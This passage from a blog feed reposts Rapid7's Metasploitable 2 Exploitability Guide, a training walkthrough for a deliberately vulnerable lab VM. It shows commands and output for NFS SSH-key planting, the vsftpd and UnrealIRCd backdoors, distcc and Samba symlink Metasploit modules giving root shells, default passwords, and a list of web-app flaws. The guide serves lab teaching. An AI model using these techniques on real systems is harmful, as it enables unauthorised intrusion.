class="line">root@ubuntu:~<span class="comment"># rpcinfo -p 192.168.99.131</span></span><br><span class="line"> program vers proto port service</span><br><span class="line"> <span class="number"> 100000 </span> <span class="number"> 2 </span> tcp <span class="number"> 111 </span> portmapper</span><br><span class="line"> <span class="number"> 100000 </span> <span class="number"> 2 </span> udp <span class="number"> 111 </span> portmapper</span><br><span class="line"> <span class="number"> 100024 </span> <span class="number"> 1 </span> udp <span class="number"> 53318 </span> status</span><br><span class="line"> <span class="number"> 100024 </span> <span class="number"> 1 </span> tcp <span class="number"> 43729 </span> status</span><br><span class="line"> <span class="number"> 100003 </span> <span class="number"> 2 </span> udp <span class="number"> 2049 </span> nfs</span><br><span class="line"> <span class="number"> 100003 </span> <span class="number"> 3 </span> udp <span class="number"> 2049 </span> nfs</span><br><span class="line"> <span class="number"> 100003 </span> <span class="number"> 4 </span> udp <span class="number"> 2049 </span> nfs</span><br><span class="line"> <span class="number"> 100021 </span> <span class="number"> 1 </span> udp <span class="number"> 46696 </span> nlockmgr</span><br><span class="line"> <span class="number"> 100021 </span> <span class="number"> 3 </span> udp <span class="number"> 46696 </span> nlockmgr</span><br><span class="line"> <span class="number"> 100021 </span> <span class="number"> 4 </span> udp <span class="number"> 46696 </span> nlockmgr</span><br><span class="line"> <span class="number"> 100003 </span> <span class="number"> 2 </span> tcp <span class="number"> 2049 </span> nfs</span><br><span class="line"> <span class="number"> 100003 </span> <span class="number"> 3 </span> tcp <span class="number"> 2049 </span> nfs</span><br><span class="line"> <span class="number"> 100003 </span> <span class="number"> 4 </span> tcp <span class="number"> 2049 </span> nfs</span><br><span class="line"> <span class="number"> 100021 </span> <span class="number"> 1 </span> tcp <span class="number"> 55852 </span> nlockmgr</span><br><span class="line"> <span class="number"> 100021 </span> <span class="number"> 3 </span> tcp <span class="number"> 55852 </span> nlockmgr</span><br><span class="line"> <span class="number"> 100021 </span> <span class="number"> 4 </span> tcp <span class="number"> 55852 </span> nlockmgr</span><br><span class="line"> <span class="number"> 100005 </span> <span class="number"> 1 </span> udp <span class="number"> 34887 </span> mountd</span><br><span class="line"> <span class="number"> 100005 </span> <span class="number"> 1 </span> tcp <span class="number"> 39292 </span> mountd</span><br><span class="line"> <span class="number"> 100005 </span> <span class="number"> 2 </span> udp <span class="number"> 34887 </span> mountd</span><br><span class="line"> <span class="number"> 100005 </span> <span class="number"> 2 </span> tcp <span class="number"> 39292 </span> mountd</span><br><span class="line"> <span class="number"> 100005 </span> <span class="number"> 3 </span> udp <span class="number"> 34887 </span> mountd</span><br><span class="line"> <span class="number"> 100005 </span> <span class="number"> 3 </span> tcp <span class="number"> 39292 </span> mountd</span><br><span class="line"></span><br><span class="line">root@ubuntu:~<span class="comment"># showmount -e 192.168.99.131</span></span><br><span class="line">Export list for 192.168.99.131:</span><br><span class="line">/ *</span><br></pre></td></tr></table></figure><p>Getting access to a system with a writeable filesystem like this is trivial. To do so (and because SSH is running), we will generate a new SSH key on our attacking system, mount the NFS export, and add our key to the root user account’s authorized_keys file:</p><figure class="highlight ruby"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">root<span class="variable">@ubuntu</span><span class="symbol">:~</span><span class="comment"># ssh-keygen</span></span><br><span class="line"><span class="title class_">Generating</span> <span class="keyword">public</span>/<span class="keyword">private</span> rsa key pair.</span><br><span class="line"><span class="title class_">Enter</span> file <span class="keyword">in</span> which to save the key (<span class="regexp">/root/</span>.ssh/id_rsa):</span><br><span class="line"><span class="title class_">Enter</span> passphrase (empty <span class="keyword">for</span> no passphrase):</span><br><span class="line"><span class="title class_">Enter</span> same passphrase <span class="symbol">again:</span></span><br><span class="line"><span class="title class_">Your</span> identification has been saved <span class="keyword">in</span> /root/.ssh/id_rsa.</span><br><span class="line"><span class="title class_">Your</span> <span class="keyword">public</span> key has been saved <span class="keyword">in</span> /root/.ssh/id_rsa.pub.</span><br><span class="line"> </span><br><span class="line">root<span class="variable">@ubuntu</span><span class="symbol">:~</span><span class="comment"># mkdir /tmp/r00t</span></span><br><span class="line">root<span class="variable">@ubuntu</span><span class="symbol">:~</span><span class="comment"># mount -t nfs 192.168.99.131:/ /tmp/r00t/</span></span><br><span class="line">root<span class="variable">@ubuntu</span><span class="symbol">:~</span><span class="comment"># cat ~/.ssh/id_rsa.pub >> /tmp/r00t/root/.ssh/authorized_keys</span></span><br><span class="line">root<span class="variable">@ubuntu</span><span class="symbol">:~</span><span class="comment"># umount /tmp/r00t</span></span><br><span class="line"> </span><br><span class="line">root<span class="variable">@ubuntu</span><span class="symbol">:~</span><span class="comment"># ssh root@192.168.99.131</span></span><br><span class="line"><span class="title class_">Last</span> <span class="symbol">login:</span> <span class="title class_">Fri</span> <span class="title class_">Jun</span> <span class="number">1</span> <span class="number">00</span><span class="symbol">:</span><span class="number">29</span><span class="symbol">:</span><span class="number">33</span> <span class="number">2012</span> from <span class="number">192.168</span>.<span class="number">99.128</span></span><br><span class="line"><span class="title class_">Linux</span> metasploitable <span class="number">2.6</span>.<span class="number">24</span>-<span class="number">16</span>-server <span class="comment">#1 SMP Thu Apr 10 13:58:00 UTC 2008 i686</span></span><br><span class="line"> </span><br><span class="line">root<span class="variable">@metasploitable</span><span class="symbol">:~</span><span class="comment">#</span></span><br></pre></td></tr></table></figure><h2 id="backdoors"><a class="markdownIt-Anchor" href="#backdoors"></a> Backdoors</h2><p>On port 21, Metasploitable2 runs vsftpd, a popular FTP server. This particular version <a href="https://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html">contains a backdoor</a> that was slipped into the source code by an unknown intruder. The backdoor was quickly identified and removed, but not before quite a few people downloaded it. If a username is sent that ends in the sequence <code>:)</code> [ a happy face ], the backdoored version will open a listening shell on port 6200. We can demonstrate this with telnet or use the <a href="https://www.rapid7.com/db/modules/exploit/unix/ftp/vsftpd_234_backdoor">Metasploit Framework module</a> to automatically exploit it:</p><figure class="highlight livescript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">root@ubuntu:~<span class="comment"># telnet 192.168.99.131 21</span></span><br><span class="line">Trying <span class="number">192.168</span>.<span class="number">99.131</span>...</span><br><span class="line">Connected <span class="keyword">to</span> <span class="number">192.168</span>.<span class="number">99.131</span>.</span><br><span class="line">Escape character <span class="keyword">is</span> <span class="string">'^]'</span>.</span><br><span class="line"><span class="number">220</span> (vsFTPd <span class="number">2.3</span>.<span class="number">4</span>)</span><br><span class="line">user backdoored:)</span><br><span class="line"><span class="number">331</span> Please specify the password.</span><br><span class="line">pass invalid</span><br><span class="line">^]</span><br><span class="line">telnet> quit</span><br><span class="line">Connection closed.</span><br><span class="line"> </span><br><span class="line">root@ubuntu:~<span class="comment"># telnet 192.168.99.131 6200</span></span><br><span class="line">Trying <span class="number">192.168</span>.<span class="number">99.131</span>...</span><br><span class="line">Connected <span class="keyword">to</span> <span class="number">192.168</span>.<span class="number">99.131</span>.</span><br><span class="line">Escape character <span class="keyword">is</span> <span class="string">'^]'</span>.</span><br><span class="line">id;</span><br><span class="line">uid=<span class="number">0</span>(root) gid=<span class="number">0</span>(root)</span><br></pre></td></tr></table></figure><p>On port 6667, Metasploitable2 runs the UnreaIRCD IRC daemon. This version contains a backdoor that <a href="https://forums.unrealircd.org/viewtopic.php?t=6562">went unnoticed for months</a> - triggered by sending the letters “AB” following by a system command to the server on any listening port. Metasploit has a <a href="https://www.rapid7.com/db/modules/exploit/unix/irc/unreal_ircd_3281_backdoor">module</a> to exploit this in order to gain an interactive shell, as shown below.</p><figure class="highlight inform7"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line">msfconsole</span><br><span class="line"> </span><br><span class="line">msf > use exploit/unix/irc/unreal_ircd_3281_backdoor</span><br><span class="line">msf exploit(unreal_ircd_3281_backdoor) > set RHOST 192.168.99.131</span><br><span class="line">msf exploit(unreal_ircd_3281_backdoor) > exploit</span><br><span class="line"> </span><br><span class="line"><span class="comment">[*]</span> Started reverse double handler</span><br><span class="line"><span class="comment">[*]</span> Connected to 192.168.99.131:6667...</span><br><span class="line"> :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname...</span><br><span class="line"> :irc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead</span><br><span class="line"><span class="comment">[*]</span> Sending backdoor command...</span><br><span class="line"><span class="comment">[*]</span> Accepted the first client connection...</span><br><span class="line"><span class="comment">[*]</span> Accepted the second client connection...</span><br><span class="line"><span class="comment">[*]</span> Command: echo 8bMUYsfmGvOLHBxe;</span><br><span class="line"><span class="comment">[*]</span> Writing to socket A</span><br><span class="line"><span class="comment">[*]</span> Writing to socket B</span><br><span class="line"><span class="comment">[*]</span> Reading from sockets...</span><br><span class="line"><span class="comment">[*]</span> Reading from socket B</span><br><span class="line"><span class="comment">[*]</span> B: <span class="string">"8bMUYsfmGvOLHBxe\r\n"</span></span><br><span class="line"><span class="comment">[*]</span> Matching...</span><br><span class="line"><span class="comment">[*]</span> A <span class="keyword">is</span> input...</span><br><span class="line"><span class="comment">[*]</span> Command shell session 1 opened (192.168.99.128:4444 -> 192.168.99.131:60257) at 2012-05-31 21:53:59 -0700</span><br><span class="line"></span><br><span class="line"> </span><br><span class="line">id</span><br><span class="line">uid=0(root) gid=0(root)</span><br></pre></td></tr></table></figure><p>Much less subtle is the old standby “ingreslock” backdoor that is listening on port 1524. The ingreslock port was a popular choice a decade ago for adding a backdoor to a compromised server. Accessing it is easy:</p><figure class="highlight routeros"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">root@ubuntu:~# telnet 192.168.99.131 1524</span><br><span class="line">Trying 192.168.99.131<span class="built_in">..</span>.</span><br><span class="line">Connected <span class="keyword">to</span> 192.168.99.131.</span><br><span class="line">Escape character is <span class="string">'^]'</span>.</span><br><span class="line">root@metasploitable:/# id</span><br><span class="line"><span class="attribute">uid</span>=0(root) <span class="attribute">gid</span>=0(root) <span class="attribute">groups</span>=0(root)</span><br></pre></td></tr></table></figure><h2 id="unintentional-backdoors"><a class="markdownIt-Anchor" href="#unintentional-backdoors"></a> Unintentional Backdoors</h2><p>In addition to the malicious backdoors in the previous section, some services are almost backdoors by their very nature. The first of which installed on Metasploitable2 is distccd. This program makes it easy to scale large compiler jobs across a farm of like-configured systems. The problem with this service is that an attacker can easily abuse it to run a command of their choice, as demonstrated by the <a href="https://www.rapid7.com/db/modules/exploit/unix/misc/distcc_exec">Metasploit module</a> usage below.</p><figure class="highlight css"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">msfconsole</span><br><span class="line"> </span><br><span class="line">msf > use exploit/unix/misc/distcc_exec</span><br><span class="line">msf exploit(distcc_exec) > set RHOST <span class="number">192.168</span>.<span class="number">99.131</span></span><br><span class="line">msf exploit(distcc_exec) > exploit</span><br><span class="line"> </span><br><span class="line"><span class="selector-attr">[*]</span> Started reverse double handler</span><br><span class="line"><span class="selector-attr">[*]</span> Accepted the first client connection...</span><br><span class="line"><span class="selector-attr">[*]</span> Accepted the second client connection...</span><br><span class="line"><span class="selector-attr">[*]</span> Command: echo uk3UdiwLUq0LX3Bi;</span><br><span class="line"><span class="selector-attr">[*]</span> Writing <span class="selector-tag">to</span> socket <span class="selector-tag">A</span></span><br><span class="line"><span class="selector-attr">[*]</span> Writing <span class="selector-tag">to</span> socket <span class="selector-tag">B</span></span><br><span class="line"><span class="selector-attr">[*]</span> Reading <span class="selector-tag">from</span> sockets...</span><br><span class="line"><span class="selector-attr">[*]</span> Reading <span class="selector-tag">from</span> socket <span class="selector-tag">B</span></span><br><span class="line"><span class="selector-attr">[*]</span> <span class="selector-tag">B</span>: <span class="string">"uk3UdiwLUq0LX3Bi\r\n"</span></span><br><span class="line">[*] Matching...</span><br><span class="line">[*] A is input...</span><br><span class="line">[*] Command shell session <span class="number">1</span> opened (<span class="number">192.168</span>.<span class="number">99.128</span>:<span class="number">4444</span> -> <span class="number">192.168</span>.<span class="number">99.131</span>:<span class="number">38897</span>) at <span class="number">2012</span>-<span class="number">05</span>-<span class="number">31</span> <span class="number">22</span>:<span class="number">06</span>:<span class="number">03</span> -<span class="number">0700</span></span><br><span class="line"> </span><br><span class="line">id</span><br><span class="line">uid=<span class="number">1</span>(daemon) gid=<span class="number">1</span>(daemon) groups=<span class="number">1</span>(daemon)</span><br></pre></td></tr></table></figure><p>Samba, when configured with a writeable file share and “<a href="https://www.samba.org/samba/news/symlink_attack.html">wide links</a>” enabled (default is on), can also be used as a backdoor of sorts to access files that were not meant to be shared. The example below uses a <a href="https://www.rapid7.com/db/modules/auxiliary/admin/smb/samba_symlink_traversal">Metasploit module</a> to provide access to the root filesystem using an anonymous connection and a writeable share.</p><figure class="highlight elixir"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line">root<span class="variable">@ubuntu</span><span class="symbol">:~</span><span class="comment"># smbclient -L //192.168.99.131</span></span><br><span class="line"><span class="title class_">Anonymous</span> login successful</span><br><span class="line"><span class="title class_">Domain</span>=[<span class="title class_">WORKGROUP</span>] <span class="title class_">OS</span>=[<span class="title class_">Unix</span>] <span class="title class_">Server</span>=[<span class="title class_">Samba</span> <span class="number">3.0</span>.<span class="number">20</span>-<span class="title class_">Debian</span>]</span><br><span class="line"> </span><br><span class="line"> <span class="title class_">Sharename</span> <span class="title class_">Type</span> <span class="title class_">Comment</span></span><br><span class="line"> --------- ---- -------</span><br><span class="line"> print<span class="variable">$ </span> <span class="title class_">Disk</span> <span class="title class_">Printer</span> <span class="title class_">Drivers</span></span><br><span class="line"> tmp <span class="title class_">Disk</span> oh noes!</span><br><span class="line"> opt <span class="title class_">Disk</span> </span><br><span class="line"> <span class="title class_">IPC</span><span class="variable">$ </span> <span class="title class_">IPC</span> <span class="title class_">IPC</span> <span class="title class_">Service</span> (metasploitable server (<span class="title class_">Samba</span> <span class="number">3.0</span>.<span class="number">20</span>-<span class="title class_">Debian</span>))</span><br><span class="line"> <span class="title class_">ADMIN</span><span class="variable">$ </span> <span class="title class_">IPC</span> <span class="title class_">IPC</span> <span class="title class_">Service</span> (metasploitable server (<span class="title class_">Samba</span> <span class="number">3.0</span>.<span class="number">20</span>-<span class="title class_">Debian</span>))</span><br><span class="line"> </span><br><span class="line">root<span class="variable">@ubuntu</span><span class="symbol">:~</span><span class="comment"># msfconsole</span></span><br><span class="line">msf > <span class="keyword">use</span> auxiliary/admin/smb/samba_symlink_traversal</span><br><span class="line">msf auxiliary(samba_symlink_traversal) > set <span class="title class_">RHOST</span> <span class="number">192.168</span>.<span class="number">99.131</span></span><br><span class="line">msf auxiliary(samba_symlink_traversal) > set <span class="title class_">SMBSHARE</span> tmp</span><br><span class="line">msf auxiliary(samba_symlink_traversal) > exploit</span><br><span class="line"> </span><br><span class="line">[*] <span class="title class_">Connecting</span> to the server...</span><br><span class="line">[*] <span class="title class_">Trying</span> to mount writeable share <span class="string">'tmp'</span>...</span><br><span class="line">[*] <span class="title class_">Trying</span> to link <span class="string">'rootfs'</span> to the root filesystem...</span><br><span class="line">[*] <span class="title class_">Now</span> access the following share to browse the root <span class="symbol">filesystem:</span></span><br><span class="line">[*] \\<span class="number">192.168</span>.<span class="number">99.131</span>\tmp\rootfs\</span><br><span class="line"> </span><br><span class="line">msf auxiliary(samba_symlink_traversal) > exit</span><br><span class="line"> </span><br><span class="line">root<span class="variable">@ubuntu</span><span class="symbol">:~</span><span class="comment"># smbclient //192.168.99.131/tmp</span></span><br><span class="line"><span class="title class_">Anonymous</span> login successful</span><br><span class="line"><span class="title class_">Domain</span>=[<span class="title class_">WORKGROUP</span>] <span class="title class_">OS</span>=[<span class="title class_">Unix</span>] <span class="title class_">Server</span>=[<span class="title class_">Samba</span> <span class="number">3.0</span>.<span class="number">20</span>-<span class="title class_">Debian</span>]</span><br><span class="line"><span class="symbol">smb:</span> \> cd rootfs</span><br><span class="line"><span class="symbol">smb:</span> \rootfs\> cd etc</span><br><span class="line"><span class="symbol">smb:</span> \rootfs\etc\> more passwd</span><br><span class="line">getting file \rootfs\etc\passwd of size <span class="number">1624</span> as /tmp/smbmore.ufiyQf (<span class="number">317.2</span> <span class="title class_">KiloBytes</span>/sec) (average <span class="number">317.2</span> <span class="title class_">KiloBytes</span>/sec)</span><br><span class="line"><span class="symbol">root:</span><span class="symbol">x:</span><span class="number">0</span><span class="symbol">:</span><span class="number">0</span><span class="symbol">:root</span><span class="symbol">:/root</span><span class="symbol">:/bin/bash</span></span><br><span class="line"><span class="symbol">daemon:</span><span class="symbol">x:</span><span class="number">1</span><span class="symbol">:</span><span class="number">1</span><span class="symbol">:daemon</span><span class="symbol">:/usr/sbin</span><span class="symbol">:/bin/sh</span></span><br><span class="line"><span class="symbol">bin:</span><span class="symbol">x:</span><span class="number">2</span><span class="symbol">:</span><span class="number">2</span><span class="symbol">:bin</span><span class="symbol">:/bin</span><span class="symbol">:/bin/sh</span></span><br><span class="line">[..]</span><br></pre></td></tr></table></figure><h2 id="weak-passwords"><a class="markdownIt-Anchor" href="#weak-passwords"></a> Weak Passwords</h2><p>In additional to the more blatant backdoors and misconfigurations, Metasploitable 2 has terrible password security for both system and database server accounts. The primary administrative user <code>msfadmin</code> has a password matching the username. By discovering the list of users on this system, either by using another flaw to capture the passwd file, or by enumerating these user IDs via Samba, a brute force attack can be used to quickly access multiple user accounts. At a minimum, the following weak system accounts are configured on the system.</p><table><thead><tr><th>Account Name</th><th>Password</th></tr></thead><tbody><tr><td>msfadmin</td><td>msfadmin</td></tr><tr><td>user</td><td>user</td></tr><tr><td>postgres</td><td>postgres</td></tr><tr><td>sys</td><td>batman</td></tr><tr><td>klog</td><td>123456789</td></tr><tr><td>service</td><td>service</td></tr></tbody></table><p>In addition to these system-level accounts, the PostgreSQL service can be accessed with username <code>postgres</code> and password <code>postgres</code>, while the MySQL service is open to username <code>root</code> with an empty password. The VNC service provides remote desktop access using the password <code>password</code>.</p><h2 id="vulnerable-web-services"><a class="markdownIt-Anchor" href="#vulnerable-web-services"></a> Vulnerable Web Services</h2><p>Metasploitable 2 has deliberately vulnerable web applications pre-installed. The web server starts automatically when Metasploitable 2 is booted. To access the web applications, open a web browser and enter the URL <code>http://<IP></code> where <code><IP></code> is the IP address of Metasploitable 2. One way to accomplish this is to install Metasploitable 2 as a guest operating system in Virtual Box and change the network interface settings from “NAT” to “Host Only”. (Note: A video tutorial on installing Metasploitable 2 is available <a href="https://community.rapid7.com/thread/2007">here</a>.)</p><p>In this example, Metasploitable 2 is running at IP 192.168.56.101. Browsing to <a href="http://192.168.56.101/">http://192.168.56.101/</a> shows the web application home page.</p><img src="/2024/04/Metasploitable%202%20Exploitability%20Guide/04/Metasploitable%202%20Exploitability%20Guide/image-20240402111825542.png" class><blockquote><p>192.168.56/24 is the default “host only” network in Virtual Box. IP address are assigned starting from “101”. Depending on the order in which guest operating systems are started, the IP address of Metasploitable 2 will vary.</p></blockquote><p>To access a particular web application, click on one of the links provided. Individual web applications may additionally be accessed by appending the application directory name onto <code>http://<IP></code> to create URL <code>http://<IP>/<Application Folder>/</code>. For example, the Mutillidae application may be accessed (in this example) at address <code>http://192.168.56.101/mutillidae/</code>. The applications are installed in Metasploitable 2 in the <code>/var/www</code> directory. (Note: See a list with command <code>ls /var/www</code>.) In the current version as of this writing, the applications are</p><ul><li>mutillidae (NOWASP Mutillidae 2.1.19)</li><li>dvwa (Damn Vulnerable Web Application)</li><li>phpMyAdmin</li><li>tikiwiki (TWiki)</li><li>tikiwiki-old</li><li>dav (WebDav)</li></ul><h2 id="mutillidae"><a class="markdownIt-Anchor" href="#mutillidae"></a> Mutillidae</h2><p>The Mutillidae web application (<a href="https://sourceforge.net/projects/mutillidae/">NOWASP (Mutillidae)</a>) contains all of the vulnerabilities from the OWASP Top Ten plus a number of other vulnerabilities such as HTML-5 web storage, forms caching, and click-jacking. Inspired by DVWA, Mutillidae allows the user to change the “Security Level” from 0 (completely insecure) to 5 (secure). Additionally three levels of hints are provided ranging from “Level 0 - I try harder” (no hints) to “Level 2 - noob” (Maximum hints). If the application is damaged by user injections and hacks, clicking the “Reset DB” button resets the application to its original state.</p><blockquote><p>Tutorials on using Mutillidae are available at the <a href="https://www.youtube.com/user/webpwnized">webpwnized</a> YouTube Channel.</p></blockquote><img src="/2024/04/Metasploitable%202%20Exploitability%20Guide/04/Metasploitable%202%20Exploitability%20Guide/image-20240402111908345.png" class><p>Enable hints in the application by click the “Toggle Hints” button on the menu bar:</p><img src="/2024/04/Metasploitable%202%20Exploitability%20Guide/04/Metasploitable%202%20Exploitability%20Guide/image-20240402111920096.png" class><p>The Mutillidae application contains at least the following vulnerabilities on these respective pages:</p><table><thead><tr><th>Page</th><th>Vulnerabilities</th></tr></thead><tbody><tr><td>add-to-your-blog.php</td><td>SQL Injection on blog entry <br>SQL Injection on logged in user name <br>Cross site scripting on blog entry <br>Cross site scripting on logged in user name <br>Log injection on logged in user name <br>CSRF <br>JavaScript validation bypass <br>XSS in the form title via logged in username <br>The show-hints cookie can be changed by user to enable hints even though they are not supposed to show in secure mode</td></tr><tr><td>arbitrary-file-inclusion.php</td><td>System file compromise <br>Load any page from any site</td></tr><tr><td>browser-info.php</td><td>XSS via referer HTTP header <br>JS Injection via referer HTTP header <br>XSS via user-agent string HTTP header</td></tr><tr><td>capture-data.php</td><td>XSS via any GET, POST, or Cookie</td></tr><tr><td>captured-data.php</td><td>XSS via any GET, POST, or Cookie</td></tr><tr><td>config.inc*</td><td>Contains unencrytped database credentials</td></tr><tr><td>credits.php</td><td>Unvalidated Redirects and Forwards</td></tr><tr><td>dns-lookup.php</td><td>Cross site scripting on the host/ip field <br>O/S Command injection on the host/ip field <br>This page writes to the log. SQLi and XSS on the log are possible <br>GET for POST is possible because only reading POSTed variables is not enforced.</td></tr><tr><td>footer.php*</td><td>Cross site scripting via the HTTP_USER_AGENT HTTP header.</td></tr><tr><td>framing.php</td><td>Click-jacking</td></tr><tr><td>header.php*</td><td>XSS via logged in user name and signature <br>The Setup/reset the DB menu item can be enabled by setting the uid value of the cookie to 1</td></tr><tr><td>html5-storage.php</td><td>DOM injection on the add-key error message because the key entered is output into the error message without being encoded</td></tr><tr><td>index.php*</td><td>You can XSS the hints-enabled output in the menu because it takes input from the hints-enabled cookie value. <br>You can SQL injection the UID cookie value because it is used to do a lookup <br>You can change your rank to admin by altering the UID value <br>HTTP Response Splitting via the logged in user name because it is used to create an HTTP Header <br>This page is responsible for cache-control but fails to do so <br>This page allows the X-Powered-By HTTP header <br>HTML comments <br>There are secret pages that if browsed to will redirect user to the phpinfo.php page. This can be done via brute forcing</td></tr><tr><td>log-visit.php</td><td>SQL injection and XSS via referer HTTP header <br>SQL injection and XSS via user-agent string</td></tr><tr><td>login.php</td><td>Authentication bypass SQL injection via the username field and password field <br>SQL injection via the username field and password field <br>XSS via username field <br>JavaScript validation bypass</td></tr><tr><td>password-generator.php</td><td>JavaScript injection</td></tr><tr><td>pen-test-tool-lookup.php</td><td>JSON injection</td></tr><tr><td>phpinfo.php</td><td>This page gives away the PHP server configuration <br>Application path disclosure <br>Platform path disclosure</td></tr><tr><td>process-commands.php</td><td>Creates cookies but does not make them HTML only</td></tr><tr><td>process-login-attempt.php</td><td>Same as login.php. This is the action page.</td></tr><tr><td>redirectandlog.php</td><td>Same as credits.php. This is the action page</td></tr><tr><td>register.php</td><td>SQL injection and XSS via the username, signature and password field</td></tr><tr><td>rene-magritte.php</td><td>Click-jacking</td></tr><tr><td>robots.txt</td><td>Contains directories that are supposed to be private</td></tr><tr><td>secret-administrative-pages.php</td><td>This page gives hints about how to discover the server configuration</td></tr><tr><td>set-background-color.php</td><td>Cascading style sheet injection and XSS via the color field</td></tr><tr><td>show-log.php</td><td>Denial of Service if you fill up the log <br>XSS via the hostname, client IP, browser HTTP header, Referer HTTP header, and date fields</td></tr><tr><td>site-footer-xss-discusson.php</td><td>XSS via the user agent string HTTP header</td></tr><tr><td>source-viewer.php</td><td>Loading of any arbitrary file including operating system files.</td></tr><tr><td>text-file-viewer.php</td><td>Loading of any arbitrary web page on the Interet or locally including the sites password files. <br>Phishing</td></tr><tr><td>user-info.php</td><td>SQL injection to dump all usernames and passwords via the username field or the password field <br>XSS via any of the displayed fields. Inject the XSS on the register.php page. <br>XSS via the username field</td></tr><tr><td>user-poll.php</td><td>Parameter pollution <br>GET for POST <br>XSS via the choice parameter <br>Cross site request forgery to force user choice</td></tr><tr><td>view-someones-blog.php</td><td>XSS via any of the displayed fields. They are input on the add to your blog page.</td></tr></tbody></table><h2 id="dvwa"><a class="markdownIt-Anchor" href="#dvwa"></a> DVWA</h2><p>From the DVWA home page: “Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its main goals are to be an aid for security professionals to test their skills and tools in a legal environment, help web developers better understand the processes of securing web applications and aid teachers/students to teach/learn web application security in a class room environment.”.</p><p>DVWA contains instructions on the home page and additional information is available at <a href="https://code.google.com/archive/p/dvwa/wikis">Wiki Pages - Damn Vulnerable Web App</a>.</p><ul><li><strong>Default username</strong> - admin</li><li><strong>Default password</strong> - password</li></ul><img src="/2024/04/Metasploitable%202%20Exploitability%20Guide/04/Metasploitable%202%20Exploitability%20Guide/image-20240402111940017.png" class><h2 id="information-disclosure"><a class="markdownIt-Anchor" href="#information-disclosure"></a> Information Disclosure</h2><p>Additionally, an ill-advised PHP information disclosure page can be found at <code>http://<IP>/phpinfo.php</code>. In this example, the URL would be <a href="http://192.168.56.101/phpinfo.php">http://192.168.56.101/phpinfo.php</a>. The PHP info information disclosure vulnerability provides internal system information and service version information that can be used to look up vulnerabilities. For example, noting that the version of PHP disclosed in the screenshot is version 5.2.4, it may be possible that the system is vulnerable to <a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-1823">CVE-2012-1823</a> and <a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2311">CVE-2012-2311</a> which affected PHP before 5.3.12 and 5.4.x before 5.4.2.</p><img src="/2024/04/Metasploitable%202%20Exploitability%20Guide/04/Metasploitable%202%20Exploitability%20Guide/image-20240402111947046.png" class><p>You can download Metasploitable 2 <a href="https://information.rapid7.com/metasploitable-download.html">here</a>.</p>]]></content>
<summary type="html"><p>转载防止失效</p>
<p><a href="https://docs.rapid7.com/metasploit/metasploitable-2-exploitability-guide/">Metasploitable 2 Exploitability Guide | Metasploit Documentation</a></p></summary>
<category term="CTF" scheme="https://blog.lancelot.top/tags/CTF/"/>
</entry>
<entry>
<title>Codeforces Round 937 (Div. 4)</title>
<link href="https://blog.lancelot.top/2024/04/Codeforces%20Round%20937%20(Div.%204)/"/>
<id>https://blog.lancelot.top/2024/04/Codeforces%20Round%20937%20(Div.%204)/</id>
<published>2024-04-01T08:52:00.000Z</published>
<updated>2024-04-06T09:32:12.716Z</updated>
